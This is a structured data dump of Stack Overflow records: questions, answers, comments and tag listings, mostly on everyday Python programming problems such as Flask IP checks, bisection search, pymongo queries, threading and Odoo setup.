'_frozen_importlib.FrozenImporter'&gt; import '_io' # &lt;class '_frozen_importlib.BuiltinImporter'&gt; import 'marshal' # &lt;class '_frozen_importlib.BuiltinImporter'&gt; import 'posix' # &lt;class '_frozen_importlib.BuiltinImporter'&gt; i…
answer count: 0
has comment: http://stackoverflow.com/comment/81430495
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81427533
has comment: http://stackoverflow.com/comment/81566393
downvote count: 0
has title: OpenCV CMake could NOT find PythonLibs found unsuitable version Ubuntu
tagged with: ubuntu
tagged with: cmake
favorite count: 0
tagged with: opencv
has comment: http://stackoverflow.com/comment/81428057
tagged with: anaconda

merge
type: Tag
tags question: http://stackoverflow.com/q/47275761
tags question: http://stackoverflow.com/q/47330456
tags question: http://stackoverflow.com/q/47351447
tags question: http://stackoverflow.com/q/47346542
tags question: http://stackoverflow.com/q/47282059
tags question: http://stackoverflow.com/q/47226429
tags question: http://stackoverflow.com/q/47343418
tags question: http://stackoverflow.com/q/47380813
tags question: http://stackoverflow.com/q/47333771
tag name: merge
tags question: http://stackoverflow.com/q/47227562
tags question: http://stackoverflow.com/q/47241949
tags question: http://stackoverflow.com/q/47358985

http://stackoverflow.com/comment/81451204
type: AnswerComment
has text: Thank you this one seemed to work, except for my first isCold i needed to remove the + of the +=
comment on: http://stackoverflow.com/a/47247729
type: Comment
score: 0

http://stackoverflow.com/q/47233706
type: Question
has title: Are there any flaws regarding python-flask's request.remote_addr? Or is it reliable (without reverse proxy)
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/47235646
tagged with: flask
has body: Gooday to All, Im writing down a very sensitive web application that functions like a file browser, Instead of using sftp/ftp or ssh. It uses purely http/https. Im using request.remote_addr to determine the client's IP address. and reject if the ip isn't on the list. good_ips = ['127.0.0.1','192.168.1.10','192.168.1.1'] if request.remote_addr in good_ips: pass else: sys.exit() It works fine, but I just would like to ask how reliable and safe this is :). This would be the result if the ip is not on the list. other wise the site would run fine :D. Thank you and good day!
tagged with: security
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/47233739

http://stackoverflow.com/comment/81541451
type: QuestionComment
score: 0
has text: Btw: I'm on Raspbian with a RPi 3
comment on: http://stackoverflow.com/q/47295181
type: Comment

http://stackoverflow.com/comment/81790854
type: AnswerComment
comment on: http://stackoverflow.com/a/47354828
has text: Could you please share with us the code for r.loop()?
type: Comment
score: 0

http://stackoverflow.com/q/47275028
has comment: http://stackoverflow.com/comment/81501635
type: Question
has comment: http://stackoverflow.com/comment/81501794
has comment: http://stackoverflow.com/comment/81501358
tagged with: edx
has body: This is my first post, so apologies if it isn't the best! I'm taking an online class (Edx) and attempting to write a bisection search that finds the minimum payment to clear a credit card balance. You are given the balance and annualInterestRate. My code runs into an infinite loop and I can't figure out what I'm doing wrong. Supplied test conditions -- should produce Lowest Payment: 29157.09 balance = 320000 annualInterestRate = 0.2 monthlyInterestRate = annualInterestRate / 12.0 lower = balance / 12.0 upper = (balance * ((1 + monthlyInterestRate) ** 12.0)) / 12.0 guess = (upper + lower) / 2.0 valid = True month = 0 def calculate(month, balance, guess, monthlyInterestRate): while month &lt; 12: unpaidBalance = balance - guess balance = unpaidBalance + (monthlyInterestRate * unpaidBalance) month += 1 return balance while valid == True: if calculate(month, balance, guess, monthlyInterestRate) == 0: print('Min payment is: ', str(round(guess,2))) valid = False elif calculate(month, balance, guess, monthlyInterestRate) &gt; 0: lower = guess elif calculate(month, balance, guess, monthlyInterestRate) &lt; 0: upper = guess else: print('Invalid Input') guess = (upper + lower) / 2.0 Any ideas on what I'm doing wrong? Thanks in advance for the help!
has title: Bisection Search to find a min payment that causes an infinite loop
tagged with: bisection
has comment: http://stackoverflow.com/comment/81501365
score: 0
answer count: 0
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81623535
has comment: http://stackoverflow.com/comment/81501535

http://stackoverflow.com/q/47241690
has title: scala msgpack decimal values
type: Question
tagged with: python
accepted answer: http://stackoverflow.com/a/49686021
has answer: http://stackoverflow.com/a/49686021
type: AnsweredQuestion
score: 0
tagged with: scala
tagged with: msgpack
answer count: 1
has body: Im using msgpack java with jackson serialization and its scala type conversions in a simple project. The msgpack is originally serialized in python and looks like price��5.0000� When i try to serialize in java or scala i get the following error com.fasterxml.jackson.databind.exc.MismatchedInputException: Cannot deserialize instance of double out of VALUE_EMBEDDED_OBJECT token This happens for any decimal type. Is there some trick to serializing decimal values in scala with msgpack? These are the versions im using. "org.msgpack" % "msgpack-core" % "0.8.13", "org.msgpack" % "jackson-dataformat-msgpack" % "0.8.13", "com.fasterxml.jackson.core" % "jackson-core" % "2.9.1", "com.fasterxml.jackson.core" % "jackson-annotations" % "2.9.1", "com.fasterxml.jackson.core" % "jackson-databind" % "2.9.1", "com.fasterxml.jackson.datatype" % "jackson-datatype-guava" % "2.9.1", "com.fasterxml.jackson.module" %% "jackson-module-scala" % "2.9.1",

http://stackoverflow.com/comment/94326358
comment on: http://stackoverflow.com/a/47310906
score: 0
has text: I noticed that OP doesn't use all items in the rows of the file, only slicing [1:-1], so you need to modify the `pd.read_csv` a little bit.
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/81530164
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47289801
type: Comment
has text: i think It would be better using 1024

http://stackoverflow.com/q/47282456
score: 0
has comment: http://stackoverflow.com/comment/81515225
has comment: http://stackoverflow.com/comment/81515295
has comment: http://stackoverflow.com/comment/81515206
linked to: http://stackoverflow.com/q/7378091
has comment: http://stackoverflow.com/comment/81517779
has answer: http://stackoverflow.com/a/47282783
has comment: http://stackoverflow.com/comment/81515278
type: Question
has body: import sys n = input() a = [] for i in range(n): temp = input() a[i].append(temp) for i in range(n): a[i] = a[i] - 1 if a[i] ==0 and a[i+1] != 0 or a[i-1] != 0: print "NO" break print "YES" for i in range(n): print a[i] code is running without any error but is giving error after the input 2 2 2 Traceback (most recent call last): File "1.py", line 5, in ? temp = input() File "&lt;string&gt;", line 1 2 2 ^ SyntaxError: unexpected EOF while parsing why is it not working and giving EOF error?
answer count: 2
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47283264
tagged with: python
has title: Consider the following code
tagged with: python-2.7

http://stackoverflow.com/a/47381697
accepted answer of: http://stackoverflow.com/q/47378183
answers question: http://stackoverflow.com/q/47378183
type: Answer
has comment: http://stackoverflow.com/comment/81716193
has comment: http://stackoverflow.com/comment/81716331
score: 0
has comment: http://stackoverflow.com/comment/81716076
has body: As I mentioned in the comments you can achieve "running the loop while waiting for input" using threads from the threading module. The idea is to have two threads that will run in parallel (ie at the same time) and each of them will do its own thing. The first one will do only one thing : wait for input. The second one will do the work that you would have put in the loop, and only check at the start of each loop if it should stop or not according to the information it gets from the first thread. The following code illustrate this (note this requires python3): from threading import Thread import time class Input_thread(Thread): def __init__(self): Thread.__init__(self) self.keep_working = True def run(self): while True: a = input("Type *cancel* and press Enter at anytime to cancel \n") print("You typed "+a) if a == "cancel": self.keep_working = False return else: pass class Work_thread(Thread): def __init__(self, other_thread): Thread.__init__(self) self.other_thread = other_thread def run(self): while True: if self.other_thread.keep_working is True: print("I'm working") time.sleep(2) else : print("I'm done") return # Creating threads input_thread = Input_thread() work_thread = Work_thread(input_thread) # Lanching threads input_thread.start() work_thread.start() # Waiting for threads to end input_thread.join() work_thread.join() As you can see using threading isn't trivial and requires some knowledge about classes. A way of achieving something similar in a slightly simpler way would be to use the python's exception called KeyboardInterrupt. If you are not familiar with exceptions : there are python's way of handling errors in your code, that means if at some point in your code Python finds a line it can't run, it will raise an exception, and if nothing was planned to deal with that error (aka if you don't catch the exception with the try/except syntax), python stops running and display that exception and the traceback in the terminal window. Now the thing is when you…
has comment: http://stackoverflow.com/comment/81716488
type: AcceptedAnswer

http://stackoverflow.com/comment/81689557
comment on: http://stackoverflow.com/a/47368412
type: Comment
has text: raw_input was what I was missing. Thanks very much!
score: 0
type: AnswerComment

http://stackoverflow.com/q/47370367
upvote count: 1
tagged with: virtualenv
has comment: http://stackoverflow.com/comment/81693353
favorite count: 0
has body: I am new to python/django/pip. I created a virtualenv and I was in the bin dir when I did a pip install django. It created the django files there which is not what I wanted. So I did pip uninstall django. Then I created a folder called web in my virtualenv root and tried pip install again. This time it said loading from cache and installed django in bin folder again. So I deleted it and tried again with --no-cache-dir. This downloaded django fresh, but I am still finding the installation in bin directory! This is driving me crazy, how can I get it to install in the web directory? Any help much appreciated.
has answer: http://stackoverflow.com/a/47370397
has comment: http://stackoverflow.com/comment/81693407
score: 1
linked to: http://stackoverflow.com/q/2915471
has comment: http://stackoverflow.com/comment/81693619
tagged with: python
has title: Django not installing in folder where I want
type: Question
has comment: http://stackoverflow.com/comment/81693452
duplicate of: http://stackoverflow.com/q/2915471
type: UnansweredQuestion
answer count: 1
downvote count: 0
tagged with: pip
tagged with: django

http://stackoverflow.com/q/47322310
has answer: http://stackoverflow.com/a/47328966
tagged with: python
type: UnansweredQuestion
tagged with: python-2.7
has body: I am trying to install odoo 8.0 in windows 10 OS so far these are the steps I have been following but when I run odoo.py on command line the odoo server is not initializing. Install Odoo for development: Install Pycharm Install Python 2.7 Download get-pip.py python get-pip.py cd your odoopath c:\python\scripts\pip.exe install -r requirements.txt Or C:\Python27\Scripts\pip.exe install --upgrade -r requirements.txt install simplejson Install NodeJs Install VCForPython27.msi pip install pypiwin32 odoo.py Create db on pgadmin Start Odoo with db credentials -- odoo.py -d DHS -r aahi-admin -w DHSNAIROBI odoo.py -d databasename -r username -w password First login is admin/admin
score: 0
answer count: 1
type: Question
has comment: http://stackoverflow.com/comment/81605466
tagged with: odoo
has title: How do I install odoo v8.0 and development environment on windows 10?
tagged with: odoo-8

http://stackoverflow.com/comment/81512600
type: AnswerComment
comment on: http://stackoverflow.com/a/47275436
has text: Sounds great, looking forward to it. I added the current version `4.3` to the question.
score: 2
type: Comment

http://stackoverflow.com/comment/81636375
type: Comment
has text: python app_gui.py when the main was in app_gui.py, python app_manager.py when I tried switching it to app_manager.py
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47342023

http://stackoverflow.com/comment/81459837
has text: The form works correctly. I am trying to put the button inside the email input and not next to it.
score: 0
comment on: http://stackoverflow.com/q/47254560
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84040712
has text: Setting up the 'Run only when user is logged on' does work, but then you miss the point of running the scheduled task automatically since you need a user to actually be logged on to the server when the scheduled task is supposed to run
type: AnswerComment
comment on: http://stackoverflow.com/a/47283428
score: 0
type: Comment

http://stackoverflow.com/a/47275844
type: AcceptedAnswer
has body: Simply: x = [list(i) for i in a] output [[1, 2, 3], [4, 6, 8]]
type: Answer
answers question: http://stackoverflow.com/q/47275813
upvote count: 3
score: 3
accepted answer of: http://stackoverflow.com/q/47275813
downvote count: 0

http://stackoverflow.com/comment/81542925
has text: I suppose that would do the job, too... Are there any corner-cases `mode='wb'` does not handle strings well?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47295658

http://stackoverflow.com/comment/81526264
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47287948
has text: `print("your word or sentence translated to morse code is : ")` should be before the beginning of for loop.

http://stackoverflow.com/a/47247281
has comment: http://stackoverflow.com/comment/81480296
score: 3
answers question: http://stackoverflow.com/q/47243507
upvote count: 3
has body: please did you try: to use code in conftest.py with scope="session" use available_backends list directly in params= instead of pytest_generate_tests https://docs.pytest.org/en/latest/fixture.html#parametrizing-fixtures if not, could you try using this: @pytest.fixture(scope='session', params=[ 'django_profile.auth_backends.drf.RestFramework', 'django_profile.auth_backends.kong.Kong', ]) def auth_backend(request, settings): settings.DJANGO_PROFILE_AUTH_BACKEND = request.param yield settings
downvote count: 0
type: Answer

http://stackoverflow.com/comment/81620849
comment on: http://stackoverflow.com/a/47334457
score: 1
type: Comment
type: AnswerComment
has text: @MaxU I post in a wrong place ....haha , should post under the question ,.,, sorry

http://stackoverflow.com/q/47311149
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81573400
has comment: http://stackoverflow.com/comment/81574044
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81573446
tagged with: python
has title: $in Operator Issue in Pymongo
has comment: http://stackoverflow.com/comment/81574669
tagged with: mongodb
has comment: http://stackoverflow.com/comment/81593078
answer count: 0
has comment: http://stackoverflow.com/comment/81574094
score: 1
tagged with: pymongo
downvote count: 0
has body: I am trying to use $in operator in pymongo module of python. I have a list of id's like below: ids = [ObjectId('5a02ec6c3ae7b3225ed14ed0'), ObjectId('5a02ec6c3ae7b3225ed14ed2')] Below is my python code : client = connect_mongodb() db = client.get_default_database() societies = db['Societies'] result = societies.find({"_id":{"$in": ids}}) print result.count() #it prints 0 showing criteria didn't match` But in mongo shell if i fire below query: db.getCollection('Societies').find({"_id" : {$in : [ ObjectId("5a02ec6c3ae7b3225ed14ed0") ,ObjectId("5a02ec6c3ae7b3225ed14ed2")]} }) It is giving me 2 results. What is wrong with my python code?
upvote count: 1

http://stackoverflow.com/comment/81698546
type: AnswerComment
comment on: http://stackoverflow.com/a/47372975
has text: Using brackets you can convey more information. By nesting them you can say encoding is optional but only once you have specified source. So from above example, you can do bytearray(source, encoding) and bytearray(source) but not bytearray(encoding)
score: 0
type: Comment

http://stackoverflow.com/comment/81495198
type: Comment
comment on: http://stackoverflow.com/q/47271832
type: QuestionComment
has text: @Pat Jones Please see my recent edit. How can I read the file and be able to access the lines after the truncate function. Will I need to open the file in another format or what?
score: 0

http://stackoverflow.com/comment/81454145
has text: 181 != 180, unfortunately.
score: 1
comment on: http://stackoverflow.com/a/47251954
type: Comment
type: AnswerComment

python-telegram-bot
tags question: http://stackoverflow.com/q/47380254
tag name: python-telegram-bot
type: Tag
tags question: http://stackoverflow.com/q/47378079

http://stackoverflow.com/comment/81612690
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47330861
has text: _csv.Error: field larger than field limit (131072)

http://stackoverflow.com/q/47329137
has body: I've just started learning functions and I understand the basics, however I don't understand how to call them in more complex scripts (such as below). The example script below is attempting to pull football results from a MySQL db, extract to CSV, then import from CSV and place into a HTML table and send as an email. The issue I am having is that I need to compile the output of each function (e.g. Premier League, League One, League Two) into a report table - which I achieve using 'report': report = "" report += htmlpremleague report += " " report += htmlleagueone report += " " return report Which is joining the table so I can send all the results in one email as a HTML table. The issue I am having is that 'report' can't locate the HTML's e.g. 'htmlpremleague' due to it being in a function. But I can't simply replace it with "report += premier_league()"as there is other stuff in that function, not just the html. Ideally i'd like to get functions working because (a) it's fun learning them! and (b) it would be cool to be able to run each individual league on their own, e.g. generate a report solely on premier league. The example script below runs fine, however this is due to the report html part being global and sitting outside of the functions. Ideally i'd like them inside so I can achieve the above. I'm new here and i've tried to stick to the guidelines but please let me know if i've done anything incorrect, or I can provide anything further. To reiterate, the desired output would be for everything to be in a callable function e.g. Alternatively, would I just place 'report' / each table as a global variable? def league_one(): query = "SELECT footballteam as ftt, goals, points FROM footballdbl_league_one plfdb ORDER BY point desc" leagueonecursor.execute(query) leagueonerows = leagueonecursor.fetchall() with open('league_one.csv', 'wb') as file2: wr = csv.writer(file2, quoting=csv.QUOTE_ALL) wr.writerow(["Team", "Goals", "Points"]) wr.writerows(leagueonerows) print ("…
has comment: http://stackoverflow.com/comment/81609280
tagged with: function
answer count: 1
has title: Python - Calling Multiple Functions (Unresolved Reference). When to use a global variable?
type: Question
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47329212
tagged with: python
score: 0

http://stackoverflow.com/a/47432639
has body: Use https://docs.python.org/2/library/argparse.html The argparse module makes it easy to write user-friendly command-line interfaces. The program defines what arguments it requires, and argparse will figure out how to parse those out of sys.argv. The argparse module also automatically generates help and usage messages and issues errors when users give the program invalid arguments.
answers question: http://stackoverflow.com/q/47310576
score: 0
type: Answer

http://stackoverflow.com/comment/81568658
comment on: http://stackoverflow.com/q/47296197
type: Comment
type: QuestionComment
score: 0
has text: No, some of the code is tensorflow specific

http://stackoverflow.com/comment/81638002
type: AnswerComment
comment on: http://stackoverflow.com/a/47342878
type: Comment
has text: Hah! -- except for our choice in variable names the code is exactly identical. Goes to prove the old Python idiom, "There should be one -- and preferably only one -- obvious way to do it.". :)
score: 0

http://stackoverflow.com/comment/81530468
has text: if you want to do it yourself: find the first occurence [x] - there is no possible in match match (cant find ATG starting inside of one find) so create a shorter string from your find position + len(ATG) and find the next index. accumulate them until less then len(ATG) characters left.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47289844

http://stackoverflow.com/q/47379040
tagged with: python
answer count: 1
has title: Change boolean field from parent class to child class - Odoo v8
score: 2
type: AnsweredQuestion
has body: Consider this: @api.multi @api.onchange('order_lines', 'order_lines.is_book_block', '') @api.constrains('order_lines', 'order_lines.isbn') def check_quantity(self): location = self.printer_book_block.property_stock_supplier.id for rec in self: if rec.order_lines: for line in rec.order_lines: if line.qty &gt; line.isbn.with_context({ 'location': location, }).qty_available &gt;= 0:#line.isbn.qty_available in location: rec.write({'state': 'awaitingraw'}) else: rec.write({'state': 'work_in_progress', 'is_book_block': True}) When there is enough product quantity (isbn) on the specified location, change state of the document to work_in_progess and also change Boolean field is_book_block to True. The state field is on the parent model: class bsi_print_order(models.Model): _name = 'bsi.print.order' @api.model def create(self, vals): if vals.get('name', 'New') == 'New': vals['name'] = self.env['ir.sequence'].next_by_code('bsi.print.order') or '/' return super(bsi_print_order, self).create(vals) name = fields.Char('Reference', required=True, index=True, copy=False, readonly='True', default='New') order_lines = fields.One2many('bsi.print.order.lines', 'print_order', string="Order lines") book_block = fields.Boolean(string="Book Block", default=True) binding = fields.Boolean(string="Binding") edging = fields.Boolean(string="Edging") state = fields.Selection([ ('draft','Draft'), ('awaitingraw','Awaiting raw materials'), ('work_in_progress','Print in Progress'), ('delivered','Delivered'), ('cancel','Cancel'), ], string="State") The is_book_block field is on the child class One2many order_lines field: class bsi_print_order_lines(models.Model): _name = 'bsi.print.order.lines' print_order = fields.Many2one('bsi.print.order', string="Print Order") isbn = fields.Many2one('product.product', string="ISBN", domain="[('is_isbn', '=', True)]") qty = fields.Integer(string="Quantity") consumed_qty = fields.Integer(string="Quantity consumed") remaining_qty = fields.Float(string="Remaining qua…
downvote count: 0
has answer: http://stackoverflow.com/a/47379709
favorite count: 0
type: Question
upvote count: 2
tagged with: odoo
tagged with: odoo-8
accepted answer: http://stackoverflow.com/a/47379709

http://stackoverflow.com/a/47453818
downvote count: 0
has body: wow this is a coincidence! I am working on exactly this speedup! xtensor's sum is a lazy operation -- and it doesn't use the most performant iteration order for (auto-)vectorization. However, we just added a evaluation_strategy parameter to reductions (and the upcoming accumulations) which allows you to select between immediate and lazy reductions. Immediate reductions perform the reduction immediately (and not lazy) and can use a iteration order optimized for vectorized reductions. You can find this feature in this PR: https://github.com/QuantStack/xtensor/pull/550 In my benchmarks this should be at least as fast or faster than numpy. I hope to get it merged today. Btw. please don't hesitate to drop by our gitter channel and post a link to the question, we need to monitor StackOverflow better: https://gitter.im/QuantStack/Lobby
has comment: http://stackoverflow.com/comment/81912379
accepted answer of: http://stackoverflow.com/q/47240338
type: Answer
score: 6
upvote count: 6
answers question: http://stackoverflow.com/q/47240338
type: AcceptedAnswer

recursion
type: Tag
tags question: http://stackoverflow.com/q/47261364
tags question: http://stackoverflow.com/q/47343670
tags question: http://stackoverflow.com/q/47341863
tags question: http://stackoverflow.com/q/47370899
tags question: http://stackoverflow.com/q/47258098
tags question: http://stackoverflow.com/q/47375179
tags question: http://stackoverflow.com/q/47316763
tag name: recursion
tags question: http://stackoverflow.com/q/47347682
tags question: http://stackoverflow.com/q/47330801
tags question: http://stackoverflow.com/q/47311256
tags question: http://stackoverflow.com/q/47276423
tags question: http://stackoverflow.com/q/47230522
tags question: http://stackoverflow.com/q/47243092
tags question: http://stackoverflow.com/q/47363751
tags question: http://stackoverflow.com/q/47343821
tags question: http://stackoverflow.com/q/47231696
tags question: http://stackoverflow.com/q/47314158
tags question: http://stackoverflow.com/q/47374246
tags question: http://stackoverflow.com/q/47231603
tags question: http://stackoverflow.com/q/47342194

http://stackoverflow.com/comment/81464037
type: Comment
type: QuestionComment
has text: To control time accurately, `cv2.waitKey()` is not enough, because reading and processing also cost time.
score: 0
comment on: http://stackoverflow.com/q/47256514

http://stackoverflow.com/a/47257557
answers question: http://stackoverflow.com/q/47257333
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1
accepted answer of: http://stackoverflow.com/q/47257333
has comment: http://stackoverflow.com/comment/81626710
type: Answer
has body: You have some errors in your code. You don't need the loop for ee in i. You want to check if '123214' in ['144128', '40013', 'John', 'Dodge', 'F', 'DODGEJ'] for example not if 123214 in '144128', and in '40013', and in 'John', etc. Also, you don't need i.append([eeid[0]]) since you are dealing with pagenumbers, and that's enough; you don't want duplicates in your results. Moreover, pagenumbers should be appended outside the for loop. Otherwise, you would get more than one list appended. Following is a code that fixes errors of your code: CompanyNameList = [ ['144128', '40013', 'John', 'Dodge', 'F', 'DODGEJ'], ['144130', '40023', 'John', 'Apple', 'Z', 'APPLEJ'], ['144131', '40050', 'Gerald', 'Key', 'M', 'KEYG'], ['144138', '40074', 'Saul', 'VanWinkle', 'VANWINKLE']] eeIDlist = [[144128,1], [144138,12], [144130,6], [144131,9], [40013,153], [40074,310], [40023, 210], [40050,250]] pagenumbers=[] for i in CompanyNameList: for eeid in eeIDlist: try: # eeid[0] not eeid[1] if (str(eeid[0]) in i): # eeid[1] not eeid[0] pagenumbers.extend([eeid[1]]) except ValueError: print ("Not a valid number") i.append(pagenumbers) pagenumbers = [] print CompanyNameList Output: [['144128', '40013', 'John', 'Dodge', 'F', 'DODGEJ', [1, 153]], ['144130', '40023', 'John', 'Apple', 'Z', 'APPLEJ', [6, 210]], ['144131', '40050', 'Gerald', 'Key', 'M', 'KEYG', [9, 250]], ['144138', '40074', 'Saul', 'VanWinkle', 'VANWINKLE', [12, 310]]]

http://stackoverflow.com/a/48305350
accepted answer of: http://stackoverflow.com/q/47233562
upvote count: 45
downvote count: 0
score: 45
has comment: http://stackoverflow.com/comment/83627702
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/83623184
has comment: http://stackoverflow.com/comment/84227775
answers question: http://stackoverflow.com/q/47233562
has comment: http://stackoverflow.com/comment/83623248
type: Answer
has comment: http://stackoverflow.com/comment/93354552
has body: You can use sqlitedict which provides key-value interface to SQLite database. SQLite limits page says that theoretical maximum is 140 TB depending on page_size and max_page_count. However, default values for Python 3.5.2-2ubuntu0~16.04.4 (sqlite3 2.6.0), are page_size=1024 and max_page_count=1073741823. This gives ~1100 GB of maximal database size which fits your requirement. You can use the package like: from sqlitedict import SqliteDict mydict = SqliteDict('./my_db.sqlite', autocommit=True) mydict['some_key'] = any_picklable_object print(mydict['some_key']) for key, value in mydict.items(): print(key, value) print(len(mydict)) mydict.close() Update About memory usage. SQLite doesn't need your dataset to fit in RAM. By default it caches up to cache_size pages, which is barely 2MiB (the same Python as above). Here's the script you can use to check it with your data. Before run: pip install lipsum psutil matplotlib psrecord sqlitedict sqlitedct.py #!/usr/bin/env python3 import os import random from contextlib import closing import lipsum from sqlitedict import SqliteDict def main(): with closing(SqliteDict('./my_db.sqlite', autocommit=True)) as d: for _ in range(100000): v = lipsum.generate_paragraphs(2)[0:random.randint(200, 1000)] d[os.urandom(10)] = v if __name__ == '__main__': main() Run it like ./sqlitedct.py &amp; psrecord --plot=plot.png --interval=0.1 $!. In my case it produces this chart: And database file: $ du -h my_db.sqlite 84M my_db.sqlite

http://stackoverflow.com/a/47361650
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47361622
has body: Since your code is running fine, I can tell you about some techniques you can work on to get the functionality you want. To get an array that loops around, you can use a mod system. For example 8 mod 3 = 2 and it would be coded remainder = 8 % 3. If you had a mod size 26, i.e. the alphabet, you could take the remainder of the total number and use it as an index in your alphabet list. This would cycle around when the total number is greater than 26 and begin again at a. To get the program to end on user input, you can use a variety of methods such as keyboard interrupts, recognizing certain commands such as ctrl-c or whole words. Here is a start from a previous stackoverflow question. How to kill a while loop with a keystroke?
answers question: http://stackoverflow.com/q/47361622
type: Answer
score: 0

http://stackoverflow.com/comment/81633223
comment on: http://stackoverflow.com/q/47283462
score: 2
has text: `get_next` returns an op. Looks like that should be outside the loop?
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81680242
score: 0
type: AnswerComment
has text: I see, you are right. Could you tell me how you come up with the first answer (the one with np.dot)? I always have hard time with numpy, and I am not sure why your answer gives what I want, which makes me stuck at the same issue in the future. Do you know any useful reference?
comment on: http://stackoverflow.com/a/47363684
type: Comment

http://stackoverflow.com/comment/125308888
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47314351
has text: Question: why do we need optimizer params during inference? Is it some Adam specific behavior?
score: 0

http://stackoverflow.com/q/47297732
answer count: 2
tagged with: mocking
has answer: http://stackoverflow.com/a/71727332
score: 0
tagged with: unit-testing
type: Question
has answer: http://stackoverflow.com/a/48233318
type: UnansweredQuestion
has title: How to Mock __init__ and resolvers with various arguments
has body: I've seen a lot of examples of mock tests but none that show how one could mock something like &lt;graphql.execution.base.ResolveInfo object at 0x106f002a8&gt; For instance, if I wanted to test that the two methods in this class were working properly, how would I mock the values that are being passed in? class mySearch(graphene.ObjectType): my_search = graphene.Field( MySearchWrapper, query = graphene.String(description="Search query") ) def __init__(self, args, context, info): super(mySearch, self).__init__() def resolve_my_search(self, args, context, info): return promisify(MySearchWrapper, args, context, info) The __init__ method returns: args: {}, context: &lt;Request 'http://localhost:8080/graphql' [POST]&gt;, info: &lt;graphql.execution.base.ResolveInfo object at 0x106f000c8&gt; And the resolve_my_search method returns: args: {'page_type': [u'MyCorgi', u'YourCorgi'], 'query': u'Corgi family', 'domain': u'corgidata.com'}, context: &lt;Request 'http://localhost:8080/graphql' [POST]&gt;, info: &lt;graphql.execution.base.ResolveInfo object at 0x106f002a8&gt; I know I can mock the dictionary value with mock_args.json.return_value but... not sure about the Request and object. Any ideas? Guidance? I've already spent a week on this and have found no way out.
tagged with: python

http://stackoverflow.com/a/47322736
score: 0
type: Answer
has body: When resolving the Site with get_current Django will first check if a SITE_ID is set in the settings file. If there is a SITE_ID it will return what is stored in the domain field (obtaining the cached version in SITE_CACHE or adding it to the cache and returning it). If SITE_ID is not present Django will resolve the host with request.get_host() and first query to see if the domain exists within the cache then check if it is in a Site object. If this does not produce a result it will remove the port and check again in the same manner. I would try looking at each of your Site objects to see if the port has made it into the domain. If not look into what is being stored in SITE_CACHE. Documentation at https://docs.djangoproject.com/en/dev/ref/contrib/sites/#django.contrib.sites.shortcuts.get_current_site
answers question: http://stackoverflow.com/q/47322484

bidi
tag name: bidi
tags question: http://stackoverflow.com/q/47264288
type: Tag

http://stackoverflow.com/a/47344334
answers question: http://stackoverflow.com/q/47334404
type: Answer
has body: If you have a dataframe and want to drop all rows containing NaN in each of the columns, you can do this df.dropna(how='all') Noticed that your dataframe also has NaN in one the columns in some cases. If you need to drop the entire row in such case: df.dropna(how='any') After you do this (which ever is your preference) you could check length of dataframe (number of rows it contains) using: len(df)
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/a/47346704
has comment: http://stackoverflow.com/comment/81664187
upvote count: 14
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47340294
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47340294
score: 14
has body: You can do something like: def decimal_constructor(loader, node): value = loader.construct_scalar(node) return Decimal(value) yaml.add_constructor(u'!decimal', decimal_constructor) This allows you to load decimals, but only if they are prefixed with the !decimal tag in the YAML document. However, you can use a custom Resolver to resolve all numbers to !decimal: class MyResolver(BaseResolver): pass MyResolver.add_implicit_resolver( '!decimal', re.compile(r'''^(?:[-+]?(?:[0-9][0-9_]*)\.[0-9_]*(?:[eE][-+][0-9]+)? |\.[0-9_]+(?:[eE][-+][0-9]+)? |[-+]?[0-9][0-9_]*(?::[0-5]?[0-9])+\.[0-9_]* |[-+]?\.(?:inf|Inf|INF) |\.(?:nan|NaN|NAN))$''', re.X), list('-+0123456789.')) You should copy the other implicit resolvers over from the default resolver. Then, you need to define a Loader that uses your resolver. class MyLoader(Reader, Scanner, Parser, Composer, SafeConstructor, MyResolver): def __init__(self, stream): Reader.__init__(self, stream) Scanner.__init__(self) Parser.__init__(self) Composer.__init__(self) SafeConstructor.__init__(self) MyResolver.__init__(self) Above, we added your constructor to the default loader. Change that line to: yaml.add_constructor(u'!decimal', decimal_constructor, MyLoader) Finally, load the YAML using yaml.load(stream, MyLoader)
type: Answer
has comment: http://stackoverflow.com/comment/138157059

http://stackoverflow.com/comment/81493001
comment on: http://stackoverflow.com/q/47266908
type: Comment
type: QuestionComment
score: 0
has text: Your question is very unclear. There is nothing in the example code that calls `add_number_to_list` and there are no signals connected to it.

http://stackoverflow.com/comment/81504121
has text: Where is trials defined? Is it a global variable?
score: 0
comment on: http://stackoverflow.com/q/47276423
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47366553
type: AnsweredQuestion
tagged with: list
upvote count: 14
tagged with: functional-programming
has body: I have to use functional programming to implement the following function takes in a list of numbers from 0 to 9. The goal is to find the five consecutive elements of the list that have the greatest product. The function should return tuple of the index of the greatest product and the value of the greatest product without using the max function. I can easily implement this without functional programming but I am having trouble implementing it without any loops. This is my approach so far but the part that I am stuck on is how to loop through the array to find those consecutive five numbers without loops. I am trying to use map to do that but I don't think it is correct. Is it possible to incorporate enumerate in any way? Any help is appreciated. def find_products(L): val = map(lambda a: reduce(lambda x,y: x*y, L),L) print (val)
has comment: http://stackoverflow.com/comment/81697889
has answer: http://stackoverflow.com/a/47377805
has comment: http://stackoverflow.com/comment/81687966
